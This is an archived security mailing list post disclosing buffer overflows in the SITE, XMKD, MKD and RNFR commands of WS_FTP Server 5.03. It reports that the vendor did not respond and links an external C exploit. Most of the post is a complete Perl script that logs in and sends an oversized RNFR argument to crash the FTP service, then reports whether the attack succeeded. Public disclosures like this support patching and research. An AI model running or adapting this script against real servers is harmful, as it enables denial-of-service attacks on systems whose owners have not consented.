lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
From: reedarvin at gmail.com (Reed Arvin)
Subject: Multiple buffer overlows in WS_FTP Server Version 5.03, 2004.10.14.

Summary:
Multiple buffer overflows exists in WS_FTP Server Version 5.03,
2004.10.14 (http://www.ipswitch.com/).

Details:
Multiple buffer overflows exist in WS_FTP Server Version 5.03,
2004.10.14. There are four vulnerable commands that can be used to
cause these buffer overflows. Three of the vulnerable commands can be
used to stop the WS_FTP Server service resulting in a denial of
service. The vulnerable commands are SITE, XMKD, MKD, and RNFR.

Vulnerable Versions:
WS_FTP Server Version 5.03, 2004.10.14

Solutions:
The vendor was notified of the issue. There was no response.

Exploit:
http://noph0bia.lostspirits.org/Exploits/IPSWSFTP-exploit.c (Thanks to
NoPh0bia noph0bia[at]lostspirits[dot]org)

#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => "21",
				    Proto    => "TCP"))
{
	print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

	sleep(1);

	print $socket "USER $ARGV[1]\r\n";

	sleep(1);

	print $socket "PASS $ARGV[2]\r\n";

	sleep(1);

	print $socket "PORT 127,0,0,1,18,12\r\n";

	sleep(1);

	print $socket "RNFR " . "A" x 768 . "\r\n";

	close($socket);

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => "21",
					    Proto    => "TCP"))
	{
		close($socket);

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
Exploit assistance from NoPh0bia noph0bia[at]lostspirits[dot]org


Powered by blists - more mailing lists